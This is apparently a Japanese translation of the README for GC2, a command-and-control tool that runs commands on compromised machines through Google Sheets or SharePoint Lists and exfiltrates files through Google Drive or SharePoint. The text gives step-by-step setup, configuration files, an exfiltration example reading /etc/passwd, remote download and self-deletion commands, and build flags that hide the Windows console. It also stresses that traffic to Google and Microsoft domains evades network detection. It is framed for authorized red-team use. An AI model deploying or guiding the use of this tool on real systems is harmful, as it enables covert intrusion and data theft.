
GC2は、攻撃者がGoogle SheetまたはMicrosoft SharePoint Listを使用してターゲットマシン上でコマンドを実行し、Google DriveまたはMicrosoft SharePoint Documentを使用してファイルを外部に持ち出すことを可能にするコマンド&コントロールアプリケーションです。
GC2(Google Command and Control)は、攻撃者がGoogle SheetまたはMicrosoft SharePoint Listを使用してターゲットマシン上でコマンドを実行し、Google DriveまたはMicrosoft SharePoint Documentを使用してファイルを流出させることを可能にするコマンド&コントロールアプリケーションです。
このプロジェクトは、レッドチーム活動において、特定のセットアップ(カスタムドメイン、VPS、CDNなど)を必要としないコマンド&コントロールを提供するために開発されました。
さらに、このプログラムはGoogleおよびMicrosoftのドメイン(*.google.comなど)とのみ通信するため、ネットワーク検出がより困難になります。
C2によりGoogle Sheetが自動的に作成されます。作成後、以下のようにして侵害されたシステムと対話できます。
C2によりMicrosoft SharePoint Listが自動的に作成されます。作成後、以下のようにして侵害されたシステムと対話できます。
ターゲットシステムからファイルを流出させるための特別なコマンドが用意されています。
ターゲットからGoogle Drive/Microsoft SharePoint Documentへ
upload;<ローカルパス>
例:
upload;/etc/passwd
注: 同じ名前のファイルは自動的に上書きされます。
ターゲットシステムにファイルをダウンロードするための特別なコマンドが用意されています。
Google Driveからターゲットへ
download;<google drive ファイルID>;<ローカルパス>
例:
download;<ファイルID>;/home/user/downloaded.txt
注: ファイルはSharePointのルートフォルダ(通常は "Documents")に保存する必要があります。
SharePointからターゲットへ
download;<SharePoint ファイルパス>;<ローカルパス>
例:
download;download.txt;/home/user/downloaded.txt
exit コマンドを送信すると、C2は自動的に終了し、ターゲットシステムから自身を削除します。
追記: os ドキュメントより: プロセスの開始にシンボリックリンクが使用された場合、オペレーティングシステムによっては、結果がシンボリックリンクまたはそれが指すパスになる可能性があります。この場合、シンボリックリンクが削除されます。
このC2は、Google(Google Sheet + Google Drive)とMicrosoft(SharePoint Lists + SharePoint Document)の両方のサービスをサポートしています。C2を使用するには、ローカルとクラウドの両方の設定が必要です。
新しいGoogle「サービスアカウント」を作成する
https://console.cloud.google.com/ を使用して新しいGoogleサービスアカウントを作成し、そのサービスアカウント用の.jsonキーファイルを作成します。
Google Sheet APIとGoogle Drive APIを有効にする
Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api とGoogle Sheet API https://developers.google.com/sheets/api/quickstart/go を有効にします。
Google SheetとGoogle Driveを設定する
新しいGoogle Sheetを作成し、サービスアカウント(そのメールアドレスを使用)に(編集者として)共有します。
新しいGoogle Driveフォルダを作成し、サービスアカウント(そのメールアドレスを使用)に(編集者として)共有します。
Microsoftサービスと連携するには、まずビジネスサブスクリプションが必要です(最初の30日間は無料で入手できます)。
Azureアプリケーションを作成する
https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http の説明に従って、新しいAzureアプリケーションを作成します。
新しいアプリケーションを作成したら、以下のGraph APIを有効にします。
C2をダウンロードする
C2はGitHubから直接クローンできます。
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
C2を設定する
C2を設定するには、cmd/options.yml ファイルを変更する必要があります。C2はGoogleとMicrosoftの両方のサービスをサポートしており、混在させることも可能です。
Googleサービスのみ
CommandService: "Google" # Google Sheetがコマンドサービスとして使用され、コマンドのプルと出力のプッシュを行います
FileSystemService: "Google" # Google Driveがファイルシステムとして使用され、ファイルのダウンロードと流出を行います
GoogleServiceAccountKey : "1234567890" # エスケープされたJSONファイル
GoogleSheetID: "0987654321" # Google Sheet ID(URLから確認できます)
GoogleDriveID: "1234554321" # Google DriveフォルダID(URLから確認できます)
#RowId: 1 # オプション。ビーコンが新しいコマンドをプルする(Google SheetまたはSharePoint Listの)行を指定します
#Proxy: "http://127.0.0.1:8080" # オプション。プロキシを指定します
Verbose: true # オプション。デバッグ目的で推奨されます
Googleサービスアカウントキーは、設定ファイルに貼り付ける前にエスケープする必要があります。エスケープには次のコマンドを使用できます。
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Microsoftサービスのみ
CommandService: "Microsoft" # Microsoft SharePoint Listがコマンドサービスとして使用されます
FileSystemService: "Microsoft" # Microsoft SharePoint Documentがファイルシステムとして使用されます
MicrosoftTenantID: "567890098765" # Azureアプリケーションが作成されたAzureテナントID
MicrosoftClientID: "098765567890" # AzureアプリケーションID
MicrosoftClientSecret: "1234509876" # Azureアプリケーションのシークレット値
MicrosoftSiteID: "0987612345" # SharePoint ID
#RowId: 1 # オプション。ビーコンが新しいコマンドをプルする行を指定します
#Proxy: "http://127.0.0.1:8080" # オプション。プロキシを指定します
Verbose: true # オプション。デバッグ目的で推奨されます
ほとんどのエラーは、verbose フラグを true に設定することで検出できます。デフォルトでは、C2は出力やエラー情報を生成しません。
デモ by Grant Collins
このプロジェクトの所有者は、本プログラムの不正使用について一切の責任を負いません。
これは、セキュリティ体制の評価や研究目的のために許可を得て使用されることを意図したオープンソースプロジェクトです。
最終的なユーザーは、自身の行動と判断に対して単独で責任を負います。このプロジェクトの使用は自己責任で行ってください。このプロジェクトの所有者は、このプロジェクトの使用によって生じた損失や損害について一切の責任を負いません。
同じコンセプトを使用したマルウェアに関するニュース:
GoogleとMicrosoftサービスの混在
CommandService: "Google" # Google Sheetがコマンドサービスとして使用されます
FileSystemService: "Microsoft" # Microsoft SharePoint Documentがファイルシステムとして使用されます
GoogleServiceAccountKey : "1234567890" # エスケープされたJSONファイル
GoogleSheetID: "0987654321" # Google Sheet ID
GoogleDriveID: "1234554321" # Google DriveフォルダID
MicrosoftTenantID: "567890098765" # AzureテナントID
MicrosoftClientID: "098765567890" # AzureアプリケーションID
MicrosoftClientSecret: "1234509876" # Azureアプリケーションのシークレット値
MicrosoftSiteID: "0987612345" # SharePoint ID
#RowId: 1 # オプション
#Proxy: "http://127.0.0.1:8080" # オプション
Verbose: true # オプション
実行可能ファイルをビルドする
異なるOSとアーキテクチャ向けにC2をクロスコンパイルする例をいくつか示します。
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
実行
コンパイル後、実行します。
./gc2-sheet
ビーコンは、設定に応じて新しいGoogle SheetまたはMicrosoft SharePoint Listを自動的に作成します。